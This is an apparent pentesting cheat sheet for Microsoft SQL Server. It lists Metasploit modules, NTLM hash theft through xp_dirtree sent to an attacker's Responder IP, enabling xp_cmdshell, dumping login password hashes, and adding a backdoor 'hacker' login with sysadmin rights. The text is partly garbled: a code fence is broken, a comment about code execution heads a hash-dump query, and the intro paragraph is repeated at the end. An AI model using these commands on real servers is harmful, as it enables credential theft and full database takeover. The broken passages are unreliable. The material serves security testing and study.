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**Microsoft SQL Server** is a [relational database management system](https://en.wikipedia.org/wiki/Relational_database_management_system) developed by [Microsoft](https://en.wikipedia.org/wiki/Microsoft). As a [database server](https://en.wikipedia.org/wiki/Database_server), it is a [software product](https://en.wikipedia.org/wiki/Software_product) with the primary function of storing and retrieving data as requested by other [software applications](https://en.wikipedia.org/wiki/Software_application)—which may run either on the same computer or on another computer across a network \(including the Internet\).
From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server).
**Default port:** 1433
```text
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
```
Search for _exploits/scripts/auxiliary modules_ that can be helpful to find vulnerabilities in this kind of service:
```bash
searchsploit "microsoft sql server"
nmap --script-help "*ms* and *sql*"
msf> search mssql
```
## Information
### **Default MS-SQL System Tables**
* **master Database** : Records all the system-level information for an instance of SQL Server.
* **msdb Database** : Is used by SQL Server Agent for scheduling alerts and jobs.
* **model Database** : Is used as the template for all databases created on the instance of SQL Server. Modifications made to the model database, such as database size, collation, recovery model, and other database options, are applied to any databases created afterwards.
* **Resource Database** : Is a read-only database that contains system objects that are included with SQL Server. System objects are physically persisted in the Resource database, but they logically appear in the sys schema of every database.
* **tempdb Database** : Is a work-space for holding temporary objects or intermediate result sets.
If you **don't****have credentials** you can try to guess them. You can use nmap or metasploit. Be careful, you can **block accounts** if you fail login several times using an existing username.
### Metasploit
```bash
#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder
# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
```
### NTLM Service Hash gathering
[You can extract the](https://blog.netspi.com/executing-smb-relay-attacks-via-sql-server-using-metasploit/) [**NTLM hash**](https://blog.netspi.com/executing-smb-relay-attacks-via-sql-server-using-metasploit/) [of the user making the service authenticate against you.](https://blog.netspi.com/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
You should start a **SMB server** to capture the hash used in the authentication \(impacket-smbserver or responder for example\).
\*\*\*\*[**Read this post**](../windows/active-directory-methodology/mssql-trusted-links.md) **to find more information about how to abuse this feature**
### **Read files executing scripts \(Python and R\)**
MSSQL could allow you to execute **scripts in Python and/or R**. These code will be executed by a **different user** than the one using **xp\_cmdshell** to execute commands.
Example trying to execute a **'R'** _"Hellow World!"_**not working**:
![](../.gitbook/assets/image%20%2813%29.png)
Example using configured python to perform several actions:
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO
```
### From db\_owner to sysadmin
[If you have the](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) [**credentials of a db\_owner user**](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)[, you can become](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) [**sysadmin**](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) [and](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) [**execute commands**](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
```bash
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
```
### Impersonation of other users
[IMPERSONATE privilege can lead to privilege escalation in SQL Server.](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
You can login into the service using **impacket mssqlclient.py**
```bash
mssqlclient.py -db volume -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>#Recommended -windows-auth when you are going to use a domain. use as domain the netBIOS name of the machine
#Once logged in you can run queries:
SQL> select @@ version;
#Steal NTLM hash
sudo responder -I <interface>#Run that in other console
SQL> exec master..xp_dirtree '\\<YOUR_RESPONDER_IP>\test' #Steal the NTLM hash, crack it with john or hashcat
#Try to enable code execution
SQL> enable_xp_cmdshell
#Execute code, 2 sintax, for complex and non complex cmds
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
sp_addsrvrolemember 'hacker', 'sysadmin'
```
## Post Explotation
The user running MSSQL server will have enabled the privilege token **SeImpersonatePrivilege.**
You probably will be able to escalate to Administrator using this token: [Juicy-potato](https://github.com/ohpe/juicy-potato)
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).